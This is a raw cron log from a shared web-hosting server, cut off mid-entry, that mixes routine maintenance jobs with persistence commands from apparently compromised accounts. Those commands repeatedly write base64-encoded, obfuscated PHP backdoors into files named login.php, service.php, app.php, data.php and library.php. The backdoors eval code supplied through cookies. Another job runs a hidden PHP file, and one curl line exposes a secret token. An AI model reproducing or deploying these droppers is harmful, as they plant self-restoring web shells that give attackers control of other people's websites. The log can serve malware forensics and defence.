Mar  1 12:39:02 medusa CROND[7378]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:39:02 medusa CROND[7379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:39:02 medusa CROND[7380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:39:02 medusa CROND[7381]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 12:39:02 medusa CROND[7385]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:39:02 medusa CROND[7395]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:39:02 medusa CROND[7396]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:39:02 medusa CROND[7397]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 12:39:02 medusa CROND[7398]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:39:02 medusa CROND[7400]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:39:02 medusa CROND[7399]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:40:01 medusa CROND[32002]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 12:40:01 medusa CROND[32003]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:40:02 medusa CROND[32226]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 12:40:02 medusa CROND[32229]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 12:40:02 medusa CROND[32230]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 12:40:02 medusa CROND[32233]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 12:40:02 medusa CROND[32234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 12:40:02 medusa CROND[32231]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 12:40:02 medusa CROND[32235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 12:40:02 medusa CROND[32237]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 12:40:02 medusa CROND[32238]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:40:02 medusa CROND[32259]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:40:02 medusa CROND[32266]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 12:40:02 medusa CROND[32267]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 12:40:02 medusa CROND[32270]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:40:02 medusa CROND[32271]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:40:02 medusa CROND[32265]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 12:40:02 medusa CROND[32279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:40:02 medusa CROND[32282]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 12:40:02 medusa CROND[32283]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:40:02 medusa CROND[32287]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 12:40:02 medusa CROND[32290]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:40:02 medusa CROND[32289]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:40:02 medusa CROND[32296]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:40:02 medusa CROND[32300]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 12:40:02 medusa CROND[32301]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:40:02 medusa CROND[32305]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 12:40:02 medusa CROND[32269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:41:01 medusa CROND[24119]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:41:01 medusa CROND[24165]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 12:41:01 medusa CROND[24204]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 12:41:01 medusa CROND[24205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:41:01 medusa CROND[24206]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgk